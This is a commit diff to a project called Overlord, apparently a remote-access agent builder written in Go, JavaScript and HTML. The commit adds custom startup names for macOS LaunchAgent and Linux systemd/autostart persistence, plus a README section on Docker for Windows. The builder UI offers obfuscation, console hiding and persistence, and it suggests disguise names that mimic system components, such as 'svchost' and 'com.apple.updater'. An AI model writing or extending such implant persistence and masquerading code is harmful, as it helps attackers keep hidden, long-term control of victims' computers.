add custom startup names to mac and linux. Also update readme for windows users who are using the server

This commit is contained in:
KingKDot
2026-04-04 20:42:54 -05:00
parent 985d8a29da
commit 3e198f76a2
7 changed files with 110 additions and 21 deletions
@@ -9,6 +9,7 @@ import (
"os"
"os/user"
"path/filepath"
"strings"
"text/template"
)
@@ -17,7 +18,7 @@ const launchAgentPlist = `<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.overlord.agent</string>
<string>{{.Label}}</string>
<key>ProgramArguments</key>
<array>
<string>{{.ExePath}}</string>
@@ -34,12 +35,26 @@ const launchAgentPlist = `<?xml version="1.0" encoding="UTF-8"?>
</plist>
`
func binaryName() string {
if DefaultStartupName != "" {
return DefaultStartupName
}
return "agent"
}
func plistLabel() string {
if DefaultStartupName != "" {
return DefaultStartupName
}
return "com.overlord.agent"
}
func getPlistPath() (string, error) {
usr, err := user.Current()
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", "com.overlord.agent.plist"), nil
return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", plistLabel()+".plist"), nil
}
func getTargetPath() (string, error) {
@@ -47,11 +62,15 @@ func getTargetPath() (string, error) {
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", "agent"), nil
return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", binaryName()), nil
}
func install(exePath string) error {
if DefaultStartupName != "" && !strings.HasPrefix(DefaultStartupName, "com.") {
return fmt.Errorf("startup name %q is invalid for macOS: LaunchAgent labels must start with \"com.\" (e.g. com.apple.updater)", DefaultStartupName)
}
targetPath, err := getTargetPath()
if err != nil {
return fmt.Errorf("failed to get target path: %w", err)
@@ -88,8 +107,10 @@ func install(exePath string) error {
}
data := struct {
Label string
ExePath string
}{
Label: plistLabel(),
ExePath: targetPath,
}
@@ -167,8 +188,10 @@ func configure(exePath string) error {
}
data := struct {
Label string
ExePath string
}{
Label: plistLabel(),
ExePath: exePath,
}
@@ -35,12 +35,19 @@ NoDisplay=false
X-GNOME-Autostart-enabled=true
`
func binaryName() string {
if DefaultStartupName != "" {
return DefaultStartupName
}
return "agent"
}
func getSystemdPath() (string, error) {
usr, err := user.Current()
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, ".config", "systemd", "user", "overlord-agent.service"), nil
return filepath.Join(usr.HomeDir, ".config", "systemd", "user", binaryName()+".service"), nil
}
func getAutostartPath() (string, error) {
@@ -48,7 +55,7 @@ func getAutostartPath() (string, error) {
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, ".config", "autostart", "overlord-agent.desktop"), nil
return filepath.Join(usr.HomeDir, ".config", "autostart", binaryName()+".desktop"), nil
}
func getTargetPath() (string, error) {
@@ -56,7 +63,7 @@ func getTargetPath() (string, error) {
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, ".local", "share", "overlord", "agent"), nil
return filepath.Join(usr.HomeDir, ".local", "share", "overlord", binaryName()), nil
}
func install(exePath string) error {
+38 -2
View File
@@ -219,6 +219,10 @@ const persistenceEmptyState = document.getElementById("persistence-empty-state")
const persistenceWindowsSettings = document.getElementById("persistence-windows-settings");
const persistenceLinuxSettings = document.getElementById("persistence-linux-settings");
const persistenceMacSettings = document.getElementById("persistence-macos-settings");
const persistenceStartupNameContainer = document.getElementById("persistence-startup-name-container");
const startupNameMacosHint = document.getElementById("startup-name-macos-hint");
const startupNameDefaultHint = document.getElementById("startup-name-default-hint");
const startupNameError = document.getElementById("startup-name-error");
const platformInputs = document.querySelectorAll('input[name="platform"]');
function getSelectedPlatformFamilies() {
@@ -233,6 +237,20 @@ function getSelectedPlatformFamilies() {
};
}
function validateStartupName() {
if (!startupNameError) return true;
const families = getSelectedPlatformFamilies();
const val = document.getElementById("startup-name")?.value.trim() || "";
if (families.darwin && val && !val.startsWith("com.")) {
startupNameError.textContent = "macOS requires the name to start with \"com.\" (e.g. com.apple.updater)";
startupNameError.classList.remove("hidden");
return false;
}
startupNameError.textContent = "";
startupNameError.classList.add("hidden");
return true;
}
function updatePersistenceSettingsVisibility() {
if (!persistenceMethodContainer) return;
@@ -256,9 +274,19 @@ function updatePersistenceSettingsVisibility() {
if (persistenceMacSettings) {
persistenceMacSettings.classList.toggle("hidden", !families.darwin);
}
if (persistenceStartupNameContainer) {
persistenceStartupNameContainer.classList.toggle("hidden", !hasSupportedFamily);
}
if (startupNameMacosHint) {
startupNameMacosHint.classList.toggle("hidden", !families.darwin);
}
if (startupNameDefaultHint) {
startupNameDefaultHint.classList.toggle("hidden", families.darwin);
}
if (persistenceEmptyState) {
persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily);
}
validateStartupName();
}
if (persistenceCheckbox && persistenceMethodContainer) {
@@ -270,6 +298,8 @@ platformInputs.forEach((input) => {
input.addEventListener("change", updateWindowsSectionVisibility);
});
document.getElementById("startup-name")?.addEventListener("input", validateStartupName);
updatePersistenceSettingsVisibility();
form?.addEventListener("change", saveFormSettings);
@@ -554,6 +584,11 @@ form?.addEventListener("submit", async (e) => {
return;
}
if (!validateStartupName()) {
document.getElementById("startup-name")?.focus();
return;
}
const serverUrl = form.querySelector("#server-url").value.trim();
const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
const mutex = form.querySelector("#mutex")?.value.trim() || "";
@@ -565,10 +600,11 @@ form?.addEventListener("submit", async (e) => {
'input[name="enable-persistence"]',
).checked;
const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-"));
const hasPersistentUnixTarget = platforms.some((p) => p.startsWith("linux-") || p.startsWith("darwin-"));
const persistenceMethods = hasWindowsTarget
? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value)
: undefined;
const startupNameVal = hasWindowsTarget
const startupNameVal = (hasWindowsTarget || hasPersistentUnixTarget)
? (form.querySelector("#startup-name")?.value.trim() || "")
: "";
const hideConsole = form.querySelector(
@@ -604,7 +640,7 @@ form?.addEventListener("submit", async (e) => {
obfuscate,
enablePersistence,
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined,
startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined,
hideConsole,
noPrinting,
outputName: outputNameVal || undefined,
+13 -11
View File
@@ -350,16 +350,6 @@
</div>
</label>
</div>
<div class="mt-3">
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
</div>
<input type="text" id="startup-name" name="startup-name" maxlength="32"
pattern="[A-Za-z0-9_-]+"
placeholder="ovd (default)"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
<p class="text-xs text-slate-500 mt-1">Custom executable name used by all selected methods (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
</div>
</div>
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
@@ -376,9 +366,21 @@
<i class="fa-brands fa-apple text-slate-200"></i> macOS Persistence
</div>
<p class="text-xs text-slate-500">
Uses <code>LaunchAgents</code> (<code>com.overlord.agent.plist</code>) for login persistence.
Uses <code>LaunchAgents</code> for login persistence. The startup name is used as the plist label and <strong class="text-orange-400">must start with <code>com.</code></strong> (e.g. <code>com.apple.updater</code>).
</p>
</div>
<div id="persistence-startup-name-container" class="hidden">
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
</div>
<input type="text" id="startup-name" name="startup-name" maxlength="32"
pattern="[A-Za-z0-9_.-]+"
placeholder="ovd (default)"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
<p class="text-xs text-slate-500 mt-1">Custom name for the installed executable. On Windows: used as filename (<code>svchost</code> → <code>svchost.exe</code>). On macOS: also used as the LaunchAgent label — <span id="startup-name-macos-hint" class="hidden text-orange-400 font-medium">must start with <code>com.</code> (e.g. <code>com.apple.updater</code>).</span><span id="startup-name-default-hint">Leave blank for a default randomized name.</span></p>
<p id="startup-name-error" class="hidden text-xs text-red-400 mt-1 font-medium"></p>
</div>
</div>
</div>
+1 -1
View File
@@ -713,7 +713,7 @@ func runBoundFiles() {
? config.persistenceMethods
: ['startup'];
sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
if (os === 'windows' && config.startupName) {
if (config.startupName) {
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
ldflags = `${ldflags} ${startupNameFlag}`;
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
@@ -147,9 +147,16 @@ export async function handleBuildRoutes(
: ['startup'];
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
const safeStartupName =
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
typeof startupName === 'string' && /^[A-Za-z0-9_.-]{1,64}$/.test(startupName.trim())
? startupName.trim()
: undefined;
const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-'));
if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) {
return Response.json(
{ error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
{ status: 400 },
);
}
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
? outputName.trim()
: undefined;
+14
View File
@@ -134,6 +134,20 @@ docker --version
docker compose version
```
> **Windows users:** use `docker-compose.windows.yml` instead of the default `docker-compose.yml`. The Windows compose file is pre-configured for Docker Desktop on Windows (no `network_mode: host`, correct volume paths, etc.).
Clone the repo or download the files, then run:
```powershell
docker compose -f docker-compose.windows.yml up -d
```
To rebuild after an update:
```powershell
docker compose -f docker-compose.windows.yml up --build -d
```
### Linux (Debian, official apt repo method)
Official docs: